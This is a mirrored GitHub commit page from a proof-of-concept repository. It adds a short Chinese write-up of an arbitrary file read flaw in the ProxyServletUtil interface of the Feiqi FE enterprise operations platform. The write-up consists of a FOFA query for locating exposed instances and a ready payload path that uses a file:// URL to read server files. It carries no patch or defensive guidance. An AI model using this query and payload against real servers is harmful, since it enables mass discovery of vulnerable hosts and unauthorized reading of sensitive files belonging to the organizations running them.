crazywhalecc/POC00
1
0
Fork 0
mirror of https://github.com/wooluo/POC00.git synced 2026-07-02 17:25:35 +08:00
Code Issues Packages Projects Releases Wiki Activity

Create 飞企互联-FE企业运营管理平台ProxyServletUti存在任意文件读取漏洞.md

Browse Source
This commit is contained in:
wy876
2024-04-17 20:02:02 +08:00
committed by GitHub
parent 8616603a03
commit 1a6a645e47
1 changed files with 15 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

15
飞企互联-FE企业运营管理平台ProxyServletUti存在任意文件读取漏洞.md Normal file
View File

@@ -0,0 +1,15 @@
## 飞企互联-FE企业运营管理平台ProxyServletUti存在任意文件读取漏洞
飞企互联FE业务协作平台中的ProxyServletUti接口存在任意文件读取漏洞。攻击者可以通过构造特定请求，读取服务器上的敏感文件。
## fofa
```
app="飞企互联-FE企业运营管理平台"
```
## poc
```
/ProxyServletUtil?url=file:///c:/Windows/win.ini
```